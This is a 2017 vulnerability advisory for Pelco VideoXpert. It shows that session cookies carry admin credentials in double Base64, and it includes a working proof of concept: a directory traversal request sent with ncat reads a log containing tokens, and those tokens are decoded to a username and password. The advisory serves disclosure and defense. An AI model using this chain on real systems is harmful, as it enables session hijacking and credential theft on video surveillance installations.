Schneider Electric Pelco VideoXpert Missing Encryption
Posted on 11 July 2017
Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information Vendor: Schneider Electric SE Product web page: https://www.pelco.com Affected version: 2.0.41 1.14.7 1.12.105 Summary: VideoXpert is a video management solution designed for scalability, fitting the needs surveillance operations of any size. VideoXpert Ultimate can also aggregate other VideoXpert systems, tying multiple video management systems into a single interface. Desc: The software transmits sensitive data using double Base64 encoding for the Cookie 'auth_token' in a communication channel that can be sniffed by unauthorized actors or arbitrarely be read from the vxcore log file directly using directory traversal attack resulting in authentication bypass / session hijacking. Ref: ZSL-2017-5419 Tested on: Microsoft Windows 7 Professional SP1 (EN) Jetty(9.2.6.v20141205) MongoDB/3.2.10 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5420 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php 05.04.2017 -- After a user logs in, the web server creates a Cookie: auth_token which has the following value: ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5 Base64 decoding that becomes: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbjEyMyIsImRvbWFpbiI6IkxPQ0FMIiwiZXhwaXJlcyI6MTQ5MTU1Njc5NzE1OCwiYWdlbnQiOiI0MGY2NDM4Ni1mZmMwLTQ1NDEtOWNjZC1hNTIyM2RiMmZjMDkiLCJjbGllbnRJcCI6IjEyNy4wLjAuMSJ9 Again decoding, gives us result: {"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"} PoC remote session takeover with directory traversal: ----------------------------------------------------- bash-4.4$ cat pelco_live.txt GET /portal//..\..\..\..\ProgramDataPelcoCorecorevxcore.log HTTP/1.1 Host: 127.0.0.1 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 Content-Type: text/plain; charset=utf-8 Accept: */* Referer: https://127.0.0.1/portal/ Accept-Language: en-US,en;q=0.8,mk;q=0.6 DNT: 1 bash-4.4$ ncat -v -n 127.0.0.1 80 < pelco_live.txt > vxcore_log.txt bash-4.4$ cat vxcore_log.txt --snip-- INFO [2017-04-06 11:20:09.999] [HealthCheckMonitorPollingThread-0] org.mongodb.driver.connection: Closed connection [connectionId{localValue:400, serverValue:473}] to mongod0-rs1-dfde27ce-6a4f-413a-a7c2-6df855d462df:31001 because the pool has been closed. INFO [2017-04-06 11:20:12.559] [dw-5099 - GET /portal/System.html?auth_token=ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/System.html INFO [2017-04-06 11:20:12.567] [dw-5055 - GET /portal/Lilac.css] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/Lilac.css INFO [2017-04-06 11:20:12.568] [dw-5098 - GET /portal/lilac/lilac.nocache.js] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/lilac/lilac.nocache.js --snip-- bash-4.4$ cat pelco_auth_token.txt ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5 bash-4.4$ base64 -D pelco_auth_token.txt |base64 -D - {"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"} bash-4.4$
